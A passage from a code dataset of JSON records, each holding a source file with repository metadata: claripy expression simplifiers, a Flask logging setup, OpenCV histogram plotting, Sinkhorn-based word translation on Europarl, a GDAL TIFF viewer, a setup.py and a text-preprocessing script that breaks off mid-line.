((A << a) | (A >> (_N - a))) & mask, where\n                A being a BVS,\n                a being a integer that is less than _N,\n                _N is either 32 or 64, and\n                mask can be evaluated to 0xffffffff (64-bit) or 0xffff (32-bit) after reversing the rotate-shift\n                operation.\n\n        It will be simplified to:\n            (A & (mask >>> a)) <<< a\n        \"\"\"\n\n        # is the second argument a BVV?\n        if b.op != 'BVV':\n            return None\n\n        # is it a rotate-shift?\n        if a.op != '__or__' or len(a.args) != 2:\n            return None\n        a_0, a_1 = a.args\n\n        if a_0.op != '__lshift__':\n            return None\n        if a_1.op != 'LShR':\n            return None\n        a_00, a_01 = a_0.args\n        a_10, a_11 = a_1.args\n        if not a_00 is a_10:\n            return None\n        if a_01.op != 'BVV' or a_11.op != 'BVV':\n            return None\n        lshift_ = a_01.args[0]\n        rshift_ = a_11.args[0]\n        bitwidth = lshift_ + rshift_\n        if bitwidth not in (32, 64):\n            return None\n\n        # is the second argument a mask?\n        # Note: the following check can be further loosen if we want to support more masks.\n        if bitwidth == 32:\n            m = ((b.args[0] << rshift_) & 0xffffffff) | (b.args[0] >> lshift_)\n            if m != 0xffff:\n                return None\n        else: # bitwidth == 64\n            m = ((b.args[0] << rshift_) & 0xffffffffffffffff) | (b.args[0] >> lshift_)\n            if m != 0xffffffff:\n                return None\n\n        # Show our power!\n        masked_a = (a_00 & m)\n        expr = (masked_a << lshift_) | (masked_a >> rshift_)\n        return expr\n\n    @staticmethod\n    def str_extract_simplifier(start_idx, count, val):\n        if start_idx == 0 and count == val.string_length:\n            return val\n        # if we are dealing with a chain of extractions on the same string we can\n        # simplify the chain in one single StrExtract\n        if val.op == 'StrExtract':\n            v_start_idx, _, v_str = val.args\n            new_start = v_start_idx + start_idx\n            new_count = count\n            return v_str.StrExtract(new_start, new_count, v_str)\n\n    @staticmethod\n    def str_reverse_simplifier(arg):\n        return arg\n\n\nSIMPLE_OPS = ('Concat', 'SignExt', 'ZeroExt')\n\nextract_distributable = {\n    '__and__', '__rand__',\n    '__or__', '__ror__',\n    '__xor__', '__rxor__',\n}\n\nfrom .backend_manager import backends\nfrom . import ast\nfrom . import fp\n\n\n# the actual instance\nsimpleton = SimplificationManager()\n", "repo_name": "ucsb-seclab/heapster", "sub_path": "heapster-env/angr-dev/claripy/claripy/simplifications.py", "file_name": "simplifications.py", "file_ext": "py", "file_size_in_byte": 32070, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "81", "api": [{"api_name": "itertools.chain.from_iterable", "line_number": 419, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 419, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 422, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 422, "usage_type": "attribute"}, {"api_name": "itertools.chain.from_iterable", "line_number": 438, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 438, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 550, "usage_type": "call"}, {"api_name": "functools.reduce", "line_number": 742, "usage_type": "call"}]}
{"seq_id": "16002879294", "text": "import logging\nimport os\nfrom logging.config import dictConfig\n\n\nfrom logging.config import dictConfig\n\n# set loggin level when debug_mode is activate\nif os.getenv(\"DEBUG_MODE\", False):\n    level = \"DEBUG\"\nelse:\n    level = \"ERROR\"\n\ndictConfig(\n    {\n        \"version\": 1,\n        \"formatters\": {\n            \"default\": {\n                \"format\": \"[%(asctime)s] %(levelname)s in %(module)s: %(message)s\",\n            }\n        },\n        \"handlers\": {\n            \"wsgi\": {\n                \"class\": \"logging.StreamHandler\",\n                \"stream\": \"ext://flask.logging.wsgi_errors_stream\",\n                \"formatter\": \"default\",\n            }\n        },\n        \"root\": {\"level\": level, \"handlers\": [\"wsgi\"]},\n    }\n)\n\n# disable the built in logging because of section 2\nlog = logging.getLogger(\"werkzeug\")\nlog.setLevel(logging.ERROR)\n\n# from flask import has_request_context, request\n# from flask.logging import default_handler\n\n\n# class RequestFormatter(logging.Formatter):\n#     def format(self, record):\n#         if has_request_context():\n#             record.url = request.url\n#             record.remote_addr = request.remote_addr\n#         else:\n#             record.url = None\n#             record.remote_addr = None\n\n#         return super().format(record)\n\n\n# formatter = RequestFormatter(\n#     \"[%(asctime)s] %(remote_addr)s requested %(url)s\\n\"\n#     \"%(levelname)s in %(module)s: %(message)s\"\n# )\n# default_handler.setFormatter(formatter)\n", "repo_name": "sldion/autodesk", "sub_path": "autodesk/util/logging.py", "file_name": "logging.py", "file_ext": "py", "file_size_in_byte": 1458, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.config.dictConfig", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 35, "usage_type": "attribute"}]}
{"seq_id": "11968027245", "text": "import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\nsrc = cv2.imread('fruits.jpg', cv2.IMREAD_GRAYSCALE)\nsrc = cv2.add(src, 64)\n\nhist = cv2.calcHist([src], [0], None, [256], [0, 256])\nplt.plot(hist, color='r')\nplt.title('histogram plot')\nplt.xlabel('pixel intensity')\nplt.ylabel('pixel num')\nplt.show()\n\nhistFlatten = hist.flatten()\n\nbinX = np.arange(len(histFlatten))\nplt.bar(binX, histFlatten, width=1, color='g')\nplt.title('histogram bar')\nplt.xlabel('pixel intensity')\nplt.ylabel('pixel num')\nplt.show()", "repo_name": "k906506/2021-Image-Processing", "sub_path": "2 Week/2. HIstogram.py", "file_name": "2. HIstogram.py", "file_ext": "py", "file_size_in_byte": 518, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 5, "usage_type": "attribute"}, {"api_name": "cv2.add", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.calcHist", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "32902177461", "text": "# generating data\r\n# Sep 19th 2020\r\nimport os\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\n\r\n\r\n# find labels file\r\nfilename = r\"Z:\\Datasets_ConvertedData\\sleeplab\\grass_studies_list.csv\"\r\ndf = pd.read_csv(filename)\r\n\r\nmrns = []\r\ntypeofstudys = []\r\nlabel_paths = []\r\nsignal_paths = []\r\nfor i in tqdm(range(len(df))):\r\n    path = df.Path[i]\r\n    # replace all files path from M:\\\\ to Z:\\\\\r\n    path = path.replace('M:\\\\', 'Z:\\\\')\r\n\r\n    # list all files under this folder\r\n    files = os.listdir(path)\r\n    # find the file staring with Label and ending with .mat\r\n    signal_path = ''\r\n    for thisfile in files:\r\n        if thisfile.startswith('Signal_') and thisfile.endswith('.mat'):\r\n            signal_path = os.path.join(path, thisfile)\r\n            break\r\n\r\n    # list all files under this folder\r\n    raw_path = os.path.join(path, 'raw')\r\n    if not os.path.exists(raw_path):\r\n        continue\r\n    files = os.listdir(raw_path)\r\n    label_path = ''\r\n    for thisfile in files:\r\n        if thisfile.startswith('Labels_') and thisfile.endswith('.mat'):\r\n            label_path = os.path.join(path, 'raw', thisfile)\r\n            break\r\n\r\n    if label_path == '' or signal_path=='':\r\n        continue\r\n    else:\r\n        label_paths.append(label_path)\r\n        signal_paths.append(signal_path)\r\n        mrns.append(df.MRN.iloc[i])\r\n        typeofstudys.append(df.TypeOfTest.iloc[i])\r\n\r\ndf = pd.DataFrame(data={'MRN':mrns,\r\n                        'TypeOfTest':typeofstudys,\r\n                        'label_path':label_paths,\r\n                        'signal_paths':signal_paths})\r\ndf.to_csv('file_paths.csv', index=False)\r\n", "repo_name": "jianan06/MGH_ECG", "sub_path": "generate.list.py", "file_name": "generate.list.py", "file_ext": "py", "file_size_in_byte": 1625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 10, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 16, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}]}
{"seq_id": "73574502971", "text": "import io\nimport numpy as np\nimport torch\nimport pickle\nimport SinkhornAutoDiff.sinkhorn_pointcloud as spc\n\n\ndef load_vec(emb_path, nmax=50000):\n    vectors = []\n    word2id = {}\n    with io.open(emb_path, 'r', encoding='utf-8', newline='\\n', errors='ignore') as f:\n        next(f)\n        for i, line in enumerate(f):\n            word, vect = line.rstrip().split(' ', 1)\n            vect = np.fromstring(vect, sep=' ')\n            assert word not in word2id, 'word found twice'\n            vectors.append(vect)\n            word2id[word] = len(word2id)\n            if len(word2id) == nmax:\n                break\n    f.close()\n    id2word = {v: k for k, v in word2id.items()}\n    embeddings = np.vstack(vectors)\n    return embeddings, id2word, word2id\n\n\nsrc_path = 'C:\\POLYTECHNIQUE\\\\3A\\EANLP\\embeddings\\multilingual_muse\\\\vector-en.txt'\ntgt_path = 'C:\\POLYTECHNIQUE\\\\3A\\EANLP\\embeddings\\multilingual_muse\\\\vector-fr.txt'\nnmax = 50000  # maximum number of word embeddings to load\n\nsrc_embeddings, src_id2word, src_word2id = load_vec(src_path, nmax)\ntgt_embeddings, tgt_id2word, tgt_word2id = load_vec(tgt_path, nmax)\n\n\n################################################\n##      ON FAIT AVEC DES BATCHS\n################################################\n\nimport pickle\n\nfrequences_fr = pickle.load(open(\"frequences_fr.pkl\",'rb'))\nfrequences_en = pickle.load(open(\"frequences_en.pkl\",'rb'))\n\neuroparl_id_list_fr=[tgt_word2id[w] for w in frequences_fr.keys()&tgt_word2id.keys()]\neuroparl_id_list_en=[src_word2id[w] for w in frequences_en.keys()&src_word2id.keys()]\n\neuroparl_word_list_fr = [w for w in frequences_fr.keys()&tgt_word2id.keys()]\neuroparl_word_list_en = [w for w in frequences_en.keys()&src_word2id.keys()]\n\neuroparl_emb_list_fr = [tgt_embeddings[id] for id in europarl_id_list_fr]\neuroparl_emb_list_en = [src_embeddings[id] for id in europarl_id_list_en]\n\neuroparl_id_to_word_fr={i:x for i,x in enumerate(europarl_word_list_fr)}\neuroparl_id_to_word_en={i:x for i,x in enumerate(europarl_word_list_en)}\n\neuroparl_word_to_id_fr={i:x for x,i in europarl_id_to_word_fr.items()}\neuroparl_word_to_id_en={i:x for x,i in europarl_id_to_word_en.items()}\n\n\n## faisons sinkhorn maintenant\n# on ne garde que certains batchs !!!\n\nfrom nltk.tokenize import word_tokenize\n\n######################################\n##  USEFUL FONCTIONS\n######################################\n\ndef load_doc(filename):\n\t# open the file as read only\n\tfile = open(filename, mode='rt', encoding='utf-8')\n\t# read all text\n\ttext = file.read()\n\t# close the file\n\tfile.close()\n\treturn text\n\n# split a loaded document into sentences\ndef to_sentences(doc):\n\treturn doc.strip().split('\\n')\n\n##############################\n## for batch work\n##############################\n\ndef batch_words(debut, fin, filename):\n\tdoc=load_doc(filename)\n\tsentences = to_sentences(doc)\n\tLISTE=[]\n\tfor phrase in sentences[debut:fin]:\n\t\tLISTE+= word_tokenize(phrase)\n\treturn set(LISTE)\n\n#from work_on_europarl import batch_words\n\nPATH = \"C:\\POLYTECHNIQUE\\\\3A\\EANLP\\Europarl_fr-en\"\nfilename_fr= PATH+ '\\europarl-v7.fr-en.fr'\nfilename_en = PATH+ '\\europarl-v7.fr-en.en'\n\ndebut, fin = 0, 100\nBATCH_WORDS_FR= batch_words(debut,fin,filename_fr)   # 1mn to run on single cpu (mon ordi)\nBATCH_WORDS_EN=batch_words(debut, fin, filename_en)\n\nprint(len(BATCH_WORDS_FR))\nprint(len(BATCH_WORDS_EN))\n\nbatch_fr_id_list=[europarl_word_to_id_fr[mot.lower()] for mot in BATCH_WORDS_FR & europarl_word_to_id_fr.keys()]\nprint(len(batch_fr_id_list))    # on perd beaucoup , c'est bizarre --> à analyser\n\nbatch_fr_embeddings=[europarl_emb_list_fr[id] for id in batch_fr_id_list]\n\nbatch_fr_id2word={i:x for i,x in enumerate(BATCH_WORDS_FR& europarl_word_to_id_fr.keys())}\n\nbatch_fr_word2id={v:k for k,v in batch_fr_id2word.items()}\n\n\nbatch_en_id_list=[europarl_word_to_id_en[mot.lower()] for mot in BATCH_WORDS_EN & europarl_word_to_id_en.keys()]\nprint(len(batch_en_id_list))\n\nbatch_en_embeddings=[europarl_emb_list_en[id] for id in batch_en_id_list]\n\nbatch_en_id2word={i:x for i,x in enumerate(BATCH_WORDS_EN& europarl_word_to_id_en.keys())}\n\nbatch_en_word2id={v:k for k,v in batch_en_id2word.items()}\n\n\ndistrib1=batch_en_embeddings\ndistrib2=batch_fr_embeddings\n\nfreq_lang1=[frequences_en[word] for word in BATCH_WORDS_EN & europarl_word_to_id_en.keys()]\nfreq_lang2=[frequences_fr[x] for x in BATCH_WORDS_FR & europarl_word_to_id_fr.keys()]\n\nepsilon = 0.01\nniter = 150\n\n# Wrap with torch tensors\nX = torch.FloatTensor(distrib1)\nY = torch.FloatTensor(distrib2)\n\nl1 = spc.FREQ_sinkhorn_loss(X,Y,epsilon,freq_lang1, freq_lang2,niter)\n\nprint(\"Sinkhorn loss : \", l1[0].data.item())\n\n\nMATRIX_FREQ=np.array(l1[1])\nfor n in range(MATRIX_FREQ.shape[0]):\n    coeff_ligne=sum([ x for x in MATRIX_FREQ[n]])\n    for m in range(MATRIX_FREQ.shape[1]):\n        if coeff_ligne!=0:\n            MATRIX_FREQ[n][m]=100*MATRIX_FREQ[n][m]/coeff_ligne\n\n\n\n############################################\n##    Première analyse des résultats\n############################################\n\n\nliste_score=[MATRIX_FREQ[n].max() for n in range(len(MATRIX_FREQ))]\nliste_score=np.array(liste_score)\n\nprint(batch_fr_id2word[130], batch_en_id2word[1])\n\nseuil=95\nfor n in range(MATRIX_FREQ.shape[0]):\n    for m in range(MATRIX_FREQ.shape[1]):\n        if MATRIX_FREQ[n][m]>seuil:\n            print(batch_fr_id2word[m], batch_en_id2word[n])\n\n\n# sur ce batch seulement :\nseuils = [5*k for k in range(1,21)]\ntrad=[]\nfor seuil in seuils:\n    i = 0\n    for n in range(MATRIX_FREQ.shape[0]):\n        if MATRIX_FREQ[n].max()>seuil:\n            i+=1\n            continue\n    trad.append(100*i/MATRIX_FREQ.shape[0])\n\nimport matplotlib.pyplot as plt\n\nplt.xlabel(\"seuil au dessus duquel on traduit un mot (%)\")\nplt.ylabel(\"Mots traduits (%)\")\nplt.title(\"Mots qui ont une traduction en fonction du seuil de confiance\")\nplt.plot(seuils,trad,'r',label='avec frequences')\nplt.legend()\n\n\n##########################################################\n##      Comparaison version avec frequences uniformes\n##########################################################\n\ndistrib1=batch_en_embeddings\ndistrib2=batch_fr_embeddings\n\nfreq_lang1=[1. for word in BATCH_WORDS_EN & europarl_word_to_id_en.keys()]\nlg1=float(len(freq_lang1))\nfreq_lang2=[1. for x in BATCH_WORDS_FR & europarl_word_to_id_fr.keys()]\nlg2=float(len(freq_lang2))\n\nfreq_uni_lang1=[x/lg1 for x in freq_lang1]\nfreq_uni_lang2=[x/lg2 for x in freq_lang2]\n\nepsilon = 0.01\nniter = 150\n\n# Wrap with torch tensors\nX = torch.FloatTensor(distrib1)\nY = torch.FloatTensor(distrib2)\n\nl1 = spc.FREQ_sinkhorn_loss(X,Y,epsilon,freq_lang1, freq_lang2,niter)\n\nprint(\"Sinkhorn loss : \", l1[0].data.item())\n\n\nMATRIX_FREQ_UNI=np.array(l1[1])\nfor n in range(MATRIX_FREQ_UNI.shape[0]):\n    coeff_ligne=sum([ x for x in MATRIX_FREQ_UNI[n]])\n    for m in range(MATRIX_FREQ_UNI.shape[1]):\n        if coeff_ligne!=0:\n            MATRIX_FREQ_UNI[n][m]=100*MATRIX_FREQ_UNI[n][m]/coeff_ligne\n\n\n# sur ce batch seulement :\nseuils = [5*k for k in range(1,21)]\ntrad=[]\ntrad_unif=[]\nfor seuil in seuils:\n    i = 0\n    for n in range(MATRIX_FREQ.shape[0]):\n        if MATRIX_FREQ[n].max()>seuil:\n            i+=1\n            continue\n    trad.append(100*i/MATRIX_FREQ.shape[0])\n\n    i=0\n    for n in range(MATRIX_FREQ_UNI.shape[0]):\n        if MATRIX_FREQ_UNI[n].max()>seuil:\n            i+=1\n            continue\n    trad_unif.append(100*i/MATRIX_FREQ_UNI.shape[0])\n\n\nplt.xlabel(\"seuil au dessus duquel on traduit un mot (%)\")\nplt.ylabel(\"Mots traduits (%)\")\nplt.title(\"Mots qui ont une traduction en fonction du seuil de confiance\")\nplt.plot(seuils,trad_unif,'b',label='avec frequences uniformes')\nplt.plot(seuils,trad,'r',label='avec frequences')\nplt.legend()\nplt.savefig(\"Mots qui ont une traduction en fonction du seuil de confiance.png\")\n\n\n\n\n\n##################################################\n##      Analyse plus poussée\n##################################################\n\n# comment dire si c bien ?\n# plusieurs idée, je pense que la meilleure est de regarder le cos avec les muses multilinguaux pour voir si les fréquences ca ajoute un truc\n\n### First : exporter Batch par Batch les \"traductions\" au seuil 95\n\nseuil=50\ni=0\nfor n in range(MATRIX_FREQ.shape[0]):\n    for m in range(MATRIX_FREQ.shape[1]):\n        if MATRIX_FREQ[n][m]>seuil:\n            i+=1\n            print(batch_fr_id2word[m], batch_en_id2word[n])\n\n\nprint(i)\n", "repo_name": "DanBerrebbi/EA_NLP", "sub_path": "travail_sur_les_frequences/Sinkhorn_On_Batch_Europarl.py", "file_name": "Sinkhorn_On_Batch_Europarl.py", "file_ext": "py", "file_size_in_byte": 8322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "io.open", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.fromstring", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 23, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 41, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 42, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 138, "usage_type": "call"}, {"api_name": "SinkhornAutoDiff.sinkhorn_pointcloud.FREQ_sinkhorn_loss", "line_number": 140, "usage_type": "call"}, {"api_name": "SinkhornAutoDiff.sinkhorn_pointcloud", "line_number": 140, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 211, "usage_type": "call"}, {"api_name": "SinkhornAutoDiff.sinkhorn_pointcloud.FREQ_sinkhorn_loss", "line_number": 213, "usage_type": "call"}, {"api_name": "SinkhornAutoDiff.sinkhorn_pointcloud", "line_number": 213, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}]}
{"seq_id": "41210627241", "text": "#!/usr/bin/env python3\n\nfrom osgeo import gdal\nfrom osgeo import gdalconst\nimport sys\n\ndef show_data(tif_name, band_num):\n    dataset = gdal.Open(tif_name, gdalconst.GA_ReadOnly)\n    band = dataset.GetRasterBand(band_num)\n    band_data = band.ReadAsArray()\n    plt.imshow(band_data, interpolation='none')\n    plt.show()\n\ndef init_pyplot():\n    import matplotlib as mpl\n    valid_bk = mpl.rcsetup.interactive_bk\n    if mpl.rcParams['backend'] not in valid_bk:\n        # Fall back to Tk (might require extra modules)\n        mpl.rcParams['backend'] = \"TkAgg\"\n\n    import matplotlib.pyplot as plt\n    return plt\n\nif __name__ == \"__main__\":\n    # For some reason, I need to set the backend to get my system to display\n    # anything. Otherwise, plt.show() just exits silently.\n    plt = init_pyplot()\n\n    if len(sys.argv) == 3:\n        show_data(sys.argv[1], int(sys.argv[2]))\n    else:\n        print(\"-------------------------------------------------------------\")\n        print(\"Usage:\")\n        print(\"display.py input.tif band\")\n        print(\"-------------------------------------------------------------\")\n", "repo_name": "ANU-Linked-Earth-Data/resampler", "sub_path": "tifdisplay.py", "file_name": "tifdisplay.py", "file_ext": "py", "file_size_in_byte": 1109, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "osgeo.gdal.Open", "line_number": 8, "usage_type": "call"}, {"api_name": "osgeo.gdal", "line_number": 8, "usage_type": "name"}, {"api_name": "osgeo.gdalconst.GA_ReadOnly", "line_number": 8, "usage_type": "attribute"}, {"api_name": "osgeo.gdalconst", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.rcsetup", "line_number": 16, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 17, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 30, "usage_type": "attribute"}]}
{"seq_id": "11007032944", "text": "from setuptools import setup, find_packages\n\nwith open(\"requirements.txt\") as f:\n\tinstall_requires = f.read().strip().split(\"\\n\")\n\n# get version from __version__ variable in vendor_registration/__init__.py\nfrom vendor_registration import __version__ as version\n\nsetup(\n\tname=\"vendor_registration\",\n\tversion=version,\n\tdescription=\"Vendor can register based on that supplier/customer will be created. We will have workflow based field value update of Supplier/Customer.\",\n\tauthor=\"Deepak Kumar\",\n\tauthor_email=\"deepakkumar@8848digital.com\",\n\tpackages=find_packages(),\n\tzip_safe=False,\n\tinclude_package_data=True,\n\tinstall_requires=install_requires\n)\n", "repo_name": "8848digital/Vendor-Registration", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 648, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "setuptools.setup", "line_number": 9, "usage_type": "call"}, {"api_name": "vendor_registration.__version__", "line_number": 11, "usage_type": "name"}, {"api_name": "setuptools.find_packages", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "32602186037", "text": "import re\nimport string\nimport unicodedata\nimport nltk\n# import contractions\nimport inflect\n# from bs4 import BeautifulSoup\n# from nltk import word_tokenize, sent_tokenize\n# from nltk.corpus import stopwords\n# from nltk.stem import LancasterStemmer, WordNetLemmatizer\nimport pandas as pd\nimport csv\nimport glob\nimport os\nimport numpy as np\n\n\ndef remove_non_ascii(words):\n    \"\"\"Remove non-ASCII characters from list of tokenized words\"\"\"\n    return unicodedata.normalize('NFKD', words).encode(\n        'ascii', 'ignore').decode('utf-8', 'ignore')\n\n\ndef to_lowercase(words):\n    \"\"\"Convert all characters to lowercase from list of tokenized words\"\"\"\n    return words.lower()\n\n\ndef process_punctuation(words):\n    \"\"\"Remove punctuation from list of tokenized words\"\"\"\n    words = words.replace(',', '')\n    words = words.strip('\"')\n    words = re.sub(r'[-]', ' ', words)\n    words = re.sub('([.,!?():#\\'\\\"])', r' \\1 ', words)\n    words = re.sub('\\s{2,}', ' ', words)\n    words = words.strip()\n    return words\n\n\ndef replace_numbers(words):\n    \"\"\"Replace all interger occurrences in list of tokenized words with textual representation\"\"\"\n    p = inflect.engine()\n    new_words = []\n    for word in words:\n        if word.isdigit():\n            new_word = p.number_to_words(word)\n            new_words.append(new_word)\n        else:\n            new_words.append(word)\n    return new_words\n\n\ndef remove_stopwords(words):\n    \"\"\"Remove stop words from list of tokenized words\"\"\"\n    new_words = []\n    for word in words:\n        if word not in stopwords.words('english'):\n            new_words.append(word)\n    return new_words\n\n\ndef stem_words(words):\n    \"\"\"Stem words in list of tokenized words\"\"\"\n    stemmer = LancasterStemmer()\n    stems = []\n    for word in words:\n        stem = stemmer.stem(word)\n        stems.append(stem)\n    return stems\n\n\ndef lemmatize_verbs(words):\n    \"\"\"Lemmatize verbs in list of tokenized words\"\"\"\n    lemmatizer = WordNetLemmatizer()\n    lemmas = []\n    for word in words:\n        lemma = lemmatizer.lemmatize(word, pos='v')\n        lemmas.append(lemma)\n    return lemmas\n\n\ndef normalize(words):\n    words = remove_non_ascii(words)\n    words = to_lowercase(words)\n    words = process_punctuation(words)\n    # words = replace_numbers(words)\n    # words = remove_stopwords(words)\n\n    return words\n\n\n# Preprocess csv\n# encoding = 'utf16'\nencoding = 'utf8'\npath = './ReactVADData/'\nall_files = glob.glob(os.path.join(path, \"*.csv\"))\ntext_col = 'text'\n# text_col = 'message'\ncsv_to_txt = False\n\n\nfor filename in all_files:\n    df = pd.read_csv(filename, encoding=encoding)\n    df[text_col] = df[text_col].apply(lambda x: normalize(x))\n    df[text_col] = df[text_col].apply(lambda x: normalize(x))\n    newPath = './ReactVADDataPre/' + os.path.basename(filename)\n\n    df.to_csv(newPath, index=False,\n              encoding=encoding)\n\n# Preprocess csv to text\n\n\nif not csv_to_txt:\n    quit()\n\npath = r'C:\\Users\\jorda\\Desktop\\FB-Data\\name_msg_desc_links_like_reacts'\nall_files = glob.glob(os.path.join(\n    path, \"name_msg_desc_links_like_reacts.csv\"))\n# all_files = glob.glob(os.path.join(path, \"8_No_Likes_min_100.csv\"))\n\nfor filename in all_files:\n    cols = [text_col]\n\n    df = pd.read_csv(filename, usecols=cols, encoding=encoding)\n\n    df = df[df[text_col].apply(lambda x: isinstance(x, str))]\n\n    df[text_col] = df[text_col].apply(lambda x: normalize(x))\n    # newPath = r'.\\CorpusPre\\\\' + 